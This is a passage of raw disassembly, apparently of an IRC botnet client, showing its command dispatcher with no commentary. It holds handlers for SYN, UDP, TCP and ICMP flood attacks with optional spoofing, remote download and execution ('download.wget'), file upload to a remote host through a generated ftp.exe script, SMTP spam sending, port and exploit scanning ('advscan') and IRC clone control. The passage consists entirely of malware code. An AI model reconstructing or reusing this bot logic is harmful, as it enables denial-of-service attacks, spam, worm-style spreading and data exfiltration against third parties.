eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aFf ; "ff" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F239 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F239 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aAdv ; "adv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aU ; "u" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aP ; "p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41189C lea eax, [ebp+var_3F8] push edi push eax call sub_4179C0 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_4179C0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_4179C0 push offset asc_42A3B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A7D7 push eax lea eax, [ebp+var_55C] push eax call sub_4179C0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_43AD10 lea eax, [ebp+var_3F8] push eax call dword_43AE1C push 6 push 1 push 2 mov edi, eax call dword_43AE18 push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_43AD98 mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4172B0 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_43AD40 mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43ADB0 lea eax, [ebp+var_CAC] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_43ADE8 push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43ADB0 push esi call dword_43AE30 call dword_43ACF8 lea eax, [ebp+var_BA8] push eax push offset unk_431AA4 loc_411888: ; CODE XREF: sub_40EE72+3B51j ; sub_40EE72+3E38j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_413A62 ; --------------------------------------------------------------------------- loc_41189C: ; CODE XREF: sub_40EE72+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F239 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_411906 push esi push offset dword_431A4C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40EE72+2A87j nop call near ptr 26108B1h push eax call sub_417302 pop ecx call sub_41730C push 9 cdq pop ecx idiv ecx push edx call sub_41730C push 63h cdq pop ecx idiv ecx push edx call sub_41730C cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4172B0 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_4179A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F239 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417956 push [ebp+arg_24] call sub_417900 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43AD0C test eax, eax push edi push esi jz short loc_4119D3 push offset dword_4319D4 jmp short loc_4119D8 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40EE72+2B58j push offset dword_431998 loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A01 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_411A01: ; CODE XREF: sub_40EE72+2B71j lea eax, [ebp+var_2DC] push eax call sub_40BF6D loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F239 lea eax, [ebp+var_BAC] push eax call sub_419BBA jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj ; sub_40EE72+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41781F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406AF8 loc_411A5D: ; CODE XREF: sub_40EE72+587Aj add esp, 24h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_40EE72+2892j ; sub_40EE72+28A9j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4176D0 add esp, 14h test eax, eax jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 push offset dword_431960 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj ; sub_40EE72+2C33j ... push [ebp+arg_10] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF4 push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_41782A push [ebp+arg_0] call sub_41781F mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B65 mov eax, offset aNormal ; "Normal" loc_411B65: ; CODE XREF: sub_40EE72+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_43190C lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_416D5C add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411BE3 loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 2620000h jmp short loc_411BCD ; --------------------------------------------------------------------------- loc_411BE3: ; CODE XREF: sub_40EE72+2D59j nop call near ptr 2650C0Ah push eax push offset dword_4318C4 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_40EE72+2C67j push offset dword_43187C jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_40EE72+284Dj ; sub_40EE72+2864j ... cmp dword_43AE88, ebx mov esi, [ebp+arg_4] jnz loc_411D09 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_418C10 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_431824 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF86 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411CF8 loc_411CE6: ; CODE XREF: sub_40EE72+2E84j cmp [ebp+var_2FC], ebx jnz short loc_411D22 push 32h nop call near ptr 2620000h jmp short loc_411CE6 ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: sub_40EE72+2E72j call near ptr 2650C0Ah nop push eax push offset unk_4317DC jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411D09: ; CODE XREF: sub_40EE72+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418C10 loc_411D1F: ; CODE XREF: sub_40EE72+3A66j add esp, 0Ch loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj ; sub_40EE72+2FD2j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_411D2F: ; CODE XREF: sub_40EE72+567Ej lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_414629 ; --------------------------------------------------------------------------- loc_411D42: ; CODE XREF: sub_40EE72+2808j ; sub_40EE72+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA7 push esi call sub_41781F pop ecx mov [ebp+var_30C], eax jmp short loc_411DAD ; --------------------------------------------------------------------------- loc_411DA7: ; CODE XREF: sub_40EE72+2F24j mov [ebp+var_30C], ebx loc_411DAD: ; CODE XREF: sub_40EE72+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_418C10 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_43176C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B112 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411E54 loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j cmp [ebp+var_2FC], ebx jnz loc_411D22 push 32h call near ptr 2620000h nop jmp short loc_411E3E ; --------------------------------------------------------------------------- loc_411E54: ; CODE XREF: sub_40EE72+2FCAj nop call near ptr 2650C0Ah push eax push offset dword_431724 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411E65: ; CODE XREF: sub_40EE72+27DAj ; sub_40EE72+27F1j push 8 call sub_416FA4 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41781F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 3E8h jle short loc_411EB8 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_4316D8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40EE72+300Fj push edi call sub_41781F push [ebp+arg_18] mov [ebp+var_330], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_411EF1 push 2 pop eax mov [ebp+var_32C], eax loc_411EF1: ; CODE XREF: sub_40EE72+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_411EFE mov [ebp+var_32C], ecx loc_411EFE: ; CODE XREF: sub_40EE72+3084j push [ebp+arg_10] call sub_41781F cmp eax, 270Fh pop ecx mov [ebp+var_328], eax jbe short loc_411F1E mov [ebp+var_328], 270Fh loc_411F1E: ; CODE XREF: sub_40EE72+30A0j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+arg_0], ebx jz short loc_411F74 mov [ebp+arg_24], offset dword_42ACB0 loc_411F37: ; CODE XREF: sub_40EE72+30E4j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411F5A add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411F37 jmp short loc_411F74 ; --------------------------------------------------------------------------- loc_411F5A: ; CODE XREF: sub_40EE72+30D6j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_411F74: ; CODE XREF: sub_40EE72+30BCj ; sub_40EE72+30E6j cmp [ebp+var_330], ebx jz loc_414039 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411FBB cmp byte ptr [edi], 23h jz short loc_411FBB push edi lea eax, [ebp+var_444] push 10h push eax call sub_41782A push 78h push edi call sub_418F50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_41208F ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_40EE72+3117j ; sub_40EE72+311Cj cmp [ebp+var_9C7], bl jnz short loc_411FDD cmp [ebp+var_9C6], bl jnz short loc_411FDD cmp [ebp+var_9B6], bl jnz short loc_411FDD push offset unk_431694 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411FDD: ; CODE XREF: sub_40EE72+314Fj ; sub_40EE72+3157j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43AD3C mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43AE24 push eax lea eax, [ebp+var_444] push eax call sub_418C10 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_412089 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_41207D loc_41205B: ; CODE XREF: sub_40EE72+3209j cmp eax, ebx jz short loc_41207D mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41205B loc_41207D: ; CODE XREF: sub_40EE72+31E7j ; sub_40EE72+31EBj mov [ebp+var_304], 1 jmp short loc_41208F ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_40EE72+31C1j mov [ebp+var_304], ebx loc_41208F: ; CODE XREF: sub_40EE72+3144j ; sub_40EE72+3215j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_41782A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120E0 loc_4120CD: ; CODE XREF: sub_40EE72+3291j push esi loc_4120CE: ; CODE XREF: sub_40EE72+327Bj lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41210B ; --------------------------------------------------------------------------- loc_4120E0: ; CODE XREF: sub_40EE72+3259j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4120EF cmp byte ptr [eax], 23h jnz short loc_4120EF push eax jmp short loc_4120CE ; --------------------------------------------------------------------------- loc_4120EF: ; CODE XREF: sub_40EE72+3273j ; sub_40EE72+3278j mov esi, offset aF ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4120CD mov [ebp+var_3B4], bl loc_41210B: ; CODE XREF: sub_40EE72+326Cj cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41211D mov eax, offset aSequential ; "Sequential" loc_41211D: ; CODE XREF: sub_40EE72+32A4j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_431610 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx call near ptr 2680B9Ah nop mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4121AB loc_412195: ; CODE XREF: sub_40EE72+3337j cmp [ebp+var_300], ebx jnz loc_41460C push 32h nop call near ptr 2620000h jmp short loc_412195 ; --------------------------------------------------------------------------- loc_4121AB: ; CODE XREF: sub_40EE72+3321j call near ptr 2650C0Ah nop push eax push offset unk_4315C8 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_4121BC: ; CODE XREF: sub_40EE72+279Aj ; sub_40EE72+27B1j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_440808[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_4315BC push eax call sub_4172B0 add esp, 0Ch cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_4405F0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_440808 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_4122A7: ; CODE XREF: sub_40EE72+3532j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4122D4: ; CODE XREF: sub_40EE72+276Cj ; sub_40EE72+2783j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_440808[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_4405F0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_440808 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_4122A7 ; --------------------------------------------------------------------------- loc_4123A9: ; CODE XREF: sub_40EE72+273Ej ; sub_40EE72+2755j push edi call dword_43ADD8 push [ebp+arg_18] mov [ebp+var_474], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_480], eax call sub_41781F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_418C10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_43AE24 push eax lea eax, [ebp+var_2DC] push offset unk_431550 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset byte_415E37 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41248B loc_412475: ; CODE XREF: sub_40EE72+3617j cmp [ebp+var_464], ebx jnz loc_4144E5 push 32h nop call near ptr 2620000h jmp short loc_412475 ; --------------------------------------------------------------------------- loc_41248B: ; CODE XREF: sub_40EE72+3601j nop call near ptr 2650C0Ah push eax push offset unk_431504 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_40EE72+2710j ; sub_40EE72+2727j push edi call sub_41781F push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_418C10 push [ebp+arg_0] call sub_41781F mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_4314B8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_416D5C add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BDE push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412588 loc_412572: ; CODE XREF: sub_40EE72+3714j cmp [ebp+var_300], ebx jnz loc_4144E5 push 32h call near ptr 2620000h nop jmp short loc_412572 ; --------------------------------------------------------------------------- loc_412588: ; CODE XREF: sub_40EE72+36FEj nop call near ptr 2650C0Ah push eax push offset unk_431464 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_412599: ; CODE XREF: sub_40EE72+26E2j ; sub_40EE72+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_418C10 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_41781F mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4125F5 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125F5: ; CODE XREF: sub_40EE72+376Dj mov [ebp+var_570], ebx loc_4125FB: ; CODE XREF: sub_40EE72+3781j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412612 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412618 ; --------------------------------------------------------------------------- loc_412612: ; CODE XREF: sub_40EE72+378Fj mov [ebp+var_574], ebx loc_412618: ; CODE XREF: sub_40EE72+379Ej movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_431428 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_580], eax lea 